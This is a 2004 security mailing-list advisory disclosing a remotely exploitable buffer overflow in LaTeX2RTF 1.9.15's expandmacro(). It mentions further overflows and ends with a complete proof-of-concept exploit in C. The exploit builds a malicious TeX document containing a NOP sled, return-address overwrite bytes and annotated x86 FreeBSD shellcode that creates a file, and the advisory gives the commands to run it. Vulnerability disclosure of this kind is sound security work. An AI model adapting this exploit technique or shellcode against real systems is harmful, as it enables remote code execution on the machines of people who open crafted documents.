Mailing-List: contact securesoftware-help@list.cr.yp.to; run by ezmlm
Delivered-To: mailing list securesoftware@list.cr.yp.to
Received: (qmail 6713 invoked by uid 1017); 20 Sep 2004 21:37:08 -0000
Date: 20 Sep 2004 21:37:08 -0000
Message-ID: <20040920213708.6712.qmail@cr.yp.to>
Automatic-Legal-Notices: See http://cr.yp.to/mailcopyright.html.
From: "D. J. Bernstein" <djb@cr.yp.to>
To: securesoftware@list.cr.yp.to, latex2rtf-developers@lists.sourceforge.net
Subject: [remote] [control] latex2rtf 1.9.15 expandmacro overflows buffer
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

There's a remotely exploitable security hole in the current version of
LaTeX2RTF (1.9.15) and presumably also in previous versions.

Example of exploiting the hole: The attacker runs the C program below,
which prints out a TeX document. The attacker sends that document to you
by email. You feed the document through LaTeX2RTF on an x86-compatible
computer running FreeBSD. Result: A file called EXPLOITED is created on
your computer. You can verify this by running

   gcc -o attack attack.c
   ./attack > attack.tex
   latex2rtf < attack.tex

Of course, the attacker could instead read your files, change or destroy
your existing files, run programs of his choice, etc. There's nothing
special about FreeBSD; similar attacks work under Linux and presumably
Windows, including systems ``protected'' by NX.

Here's the relevant bug in the program: strcpy(expanded,macro_piece) in
expandmacro() fails to check whether there's enough buffer space for a
copy of macro_piece.

There are, by the way, other buffer overflows in LaTeX2RTF. Data can be
written past the end of Environments, for example, and one byte after
cCommand in TranslateCommand. Presumably some of these other overflows
are exploitable.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago



char center[] = {
  0x59                         /*   cx = *sp++                      */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0xc1, 0xe0, 0x07             /*   ax <<= 7                        */
, 0x50                         /*   *--sp = ax                 0600 */
, 0xb8, 0x12, 0x34, 0x56, 0x02 /*   ax = 0x02563412                 */
, 0xc1, 0xe8, 0x18             /*   ax >>= 24                       */
, 0xc1, 0xe0, 0x08             /*   ax <<= 8                        */
, 0x50                         /*   *--sp = ax          512:O_CREAT */
, 0x51                         /*   *--sp = cx          "EXPLOITED" */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0xb0, 0x05                   /*   ax = (ax & ~255) + 5            */
, 0x50                         /*   *--sp = ax               5:open */
, 0xcd, 0x80                   /*   syscall                         */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x50                         /*   *--sp = ax                    0 */
, 0x40                         /*   ++ax                            */
, 0x50                         /*   *--sp = ax               1:exit */
, 0xcd, 0x80                   /*   syscall                         */
} ;

int main()
{
  int i;

  printf("\\def\\row#1{");

  for (i = 0;i < 1024;++i)
    putchar('x');
  for (i = 0;i < 6;++i) {
    /* preserve args[0] */
    putchar(0x40); putchar(0x6d); putchar(0x08); putchar(0x08);
  }
  for (i = 0;i < 5;++i) {
    /* smasher */
    putchar(0x40); putchar(0xf9); putchar(0xbf); putchar(0xbf);
  }

  for (i = 0;i < 256;++i)
    putchar(0x90);

  putchar(0xeb); putchar(sizeof(center));
  /* 0xeb 0x07   means   ip += 7 */
  /* assuming here that center has at most 255 bytes */

  for (i = 0;i < sizeof center;++i)
    putchar(center[i]);

  putchar(0xe8);
  putchar(251 - sizeof center); putchar(0xff); putchar(0xff); putchar(0xff);
  /* 0xe8 0xf4 0xff 0xff 0xff   means   *--sp = ip; ip -= 12 */ 

  printf("EXPLOITED");

  printf("}\n");
  printf("\\begin{document}\n");
  printf("\\row a\n");
  printf("\\end{document}\n");
}